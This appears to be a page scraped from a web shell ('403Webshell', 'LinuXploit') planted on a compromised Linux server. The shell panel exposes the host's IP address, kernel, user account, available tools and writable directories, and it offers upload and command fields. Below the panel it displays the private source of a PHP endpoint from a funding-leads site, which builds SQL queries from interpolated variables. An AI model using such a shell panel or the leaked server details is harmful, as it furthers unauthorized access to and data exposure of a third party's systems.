403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/newusafunding.com/vx/usa/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/newusafunding.com/vx/usa/functions/setUserCategory.php
<?
include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/xinc.php");
if(empty($user) || $guest)
{
	return false;
	exit;	
}
else
{
	$data = array();
	$errors = array();
	$category = $_POST['category'];
	$category = ($category * 1);
	$action = $_POST['action'];
	
	if($category > 0)
	{
		$userData = $db->query("
									SELECT 
											lp.id AS lead_id
									FROM $userDB.lc_reseller AS lcr
									INNER JOIN $userDB.lc_leads AS lcl
										ON lcl.customerID = lcr.id
									INNER JOIN $userDB.lead_profile AS lp
										ON lp.lead_id = lcl.id
									WHERE 
										lcr.id = '$user'
								");

		if($action == "add")
		{
			$db->query("
							INSERT INTO $userDB.lead_profile_subcategories 
								SET 
									lead_id = '".$userData[0]['lead_id']."',
									profile_subcategory_id = '$category'
						");	
		}
		else if($action == "remove")
		{
			$db->query("
							DELETE FROM $userDB.lead_profile_subcategories 
								WHERE 
									lead_id = '".$userData[0]['lead_id']."'
									AND
									profile_subcategory_id = '$category'
						");	
		}

		$userSubCategories = $db->query("
											SELECT
													ps.*
											FROM $userDB.lead_profile_subcategories AS lps
											INNER JOIN lc2admin.profile_subcategories AS ps
												ON lps.profile_subcategory_id = ps.id
											WHERE
												lps.lead_id = '".$userData[0]['lead_id']."'
										");	
		$data['lead_id'] = $userData[0]['lead_id'];
		$data['userCategories'] = $userSubCategories;
	}
	echo json_encode($data);
}
?>






















Youez - 2016 - github.com/yon3zu
LinuXploit